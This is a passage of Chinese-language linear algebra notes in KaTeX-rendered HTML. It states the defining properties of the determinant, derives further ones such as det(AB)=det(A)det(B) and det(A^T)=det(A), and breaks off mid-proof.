style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span></span></p></p></li></ol><h1 id="行列式-determinant"><a class="markdownIt-Anchor" href="#行列式-determinant"></a> 行列式 Determinant</h1><p>行列式是一个标量值，表示矩阵的某些性质。对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>×</mo><mi>n</mi></mrow><annotation encoding="application/x-tex"> n \times n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span>，其行列式记为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> det(A) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span></span></span></span> 或 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>A</mi><mi mathvariant="normal">∣</mi></mrow><annotation encoding="application/x-tex"> |A| </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal">A</span><span class="mord">∣</span></span></span></span>。</p><p>行列式有三个重要性质：</p><ol><li><p>The determinant of the n by n identity matrix is 1. 即 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>I</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> det(I) = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>。</p></li><li><p>The determinant changes sign when two rows are exchanged. 即交换矩阵的两行，行列式的值会变号。</p></li><li><p>The determinant is a linear function of each row separately. 即行列式对每一行都是线性函数。</p><ul><li><p>如果矩阵的一行乘以一个标量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex"> k </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>，则行列式也乘以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex"> k </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>。</p></li><li><p>如果矩阵的一行是两行之和，则行列式等于这两行分别拆分计算的行列式之和。</p></li></ul></li></ol><p>利用这三个性质，可以推导出其他性质：</p><ol start="4"><li><p>如果矩阵有两行相同，则行列式为 0。</p><p>因为根据性质 2，交换这两行会使行列式变号，但行列式并没有发生变化，所以行列式必须为 0。</p></li><li><p>将行列式的一行加上或者减去另一行，行列式的值不变。</p><p>因为根据性质 3，行列式是线性函数，所以可以将该行拆分成两部分，一部分是原来的行，另一部分是被加上或者减去的行。</p><p>同时，拆分出来的矩阵，将所乘的标量提出后，会有两行相同，根据性质 4，行列式为 0。因此，行列式相加后的值不变。</p></li><li><p>如果行列式有全零行，那么行列式为 0。</p><p>因为可以将该行加上或者减去其他行，变成两行相同的情况，根据性质 5，行列式的值不变，又因为根据性质 4，所以行列式为 0。</p></li><li><p>如果行列式是三角矩阵（上三角矩阵或者下三角矩阵），则行列式等于对角线元素的乘积。</p><p>因为可以通过将非对角线元素所在的行加上或者减去其他行，将其变成对角矩阵，而根据性质 3，提出每一行的对角线上的标量后，留下的矩阵是单位矩阵，行列式为 1。</p><p>因此，行列式等于对角线元素的乘积。</p></li><li><p>如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 是奇异矩阵，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> det(A) = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 是可逆的矩阵，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo mathvariant="normal">≠</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> det(A) \neq 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。</p><p>将矩阵化为行阶梯形矩阵时，奇异矩阵会有全零行，根据性质 6，行列式为 0。</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mi>B</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>⋅</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> det(AB) = det(A) \cdot det(B) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span>。</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><msup><mi>A</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo stretchy="false">)</mo><mo>=</mo><mfrac><mn>1</mn><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow></mfrac></mrow><annotation encoding="application/x-tex"> det(A^{-1}) = \frac{1}{det(A)} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3651em;vertical-align:-0.52em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">t</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">A</span><span class="mclose mtight">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.52em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>。</p><p>当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo>=</mo><msup><mi>A</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex"> B = A^{-1} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span> 时，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mi>B</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>I</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> det(AB) = det(I) = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，根据性质 9，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mi>B</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>⋅</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> det(AB) = det(A) \cdot det(B) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>⋅</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><msup><mi>A</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> det(A) \cdot det(A^{-1}) = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，即 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><msup><mi>A</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo stretchy="false">)</mo><mo>=</mo><mfrac><mn>1</mn><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow></mfrac></mrow><annotation encoding="application/x-tex"> det(A^{-1}) = \frac{1}{det(A)} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3651em;vertical-align:-0.52em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">t</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">A</span><span class="mclose mtight">)</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.52em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>。</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><msup><mi>A</mi><mi>T</mi></msup><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> det(A^T) = det(A) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span></span></span></span>。</p><p>当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 不是奇异矩阵时，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msup><mi>A</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><mi>I</mi></mrow><annotation encoding="application/x-tex"> A A^{-1} = I </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span>，可以分解为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>A</mi><mo>=</mo><mi>L</mi><mi>U</mi></mrow><annotation encoding="application/x-tex"> PA = LU </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">LU</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi></mrow><annotation encoding="application/x-tex"> P </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span> 是置换矩阵，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex"> L </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> 是下三角矩阵，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi></mrow><annotation encoding="application/x-tex"> U </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span></span></span></span> 是上三角矩阵。</p><p>因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>P</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><msup><mi>P</mi><mi>T</mi></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> det(P) = det(P^T) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>P</mi><mi>T</mi></msup><mi>P</mi><mo>=</mo><mi>I</mi></mrow><annotation encoding="application/x-tex"> P^TP = I </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span></p><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>L</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><msup><mi>L</mi><mi>T</mi></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> det(L) = det(L^T) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">L</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0913em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex"> L </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> 的对角线上都 1</p><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>U</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><msup><mi>U</mi><mi>T</mi></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> det(U) = det(U^T) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord 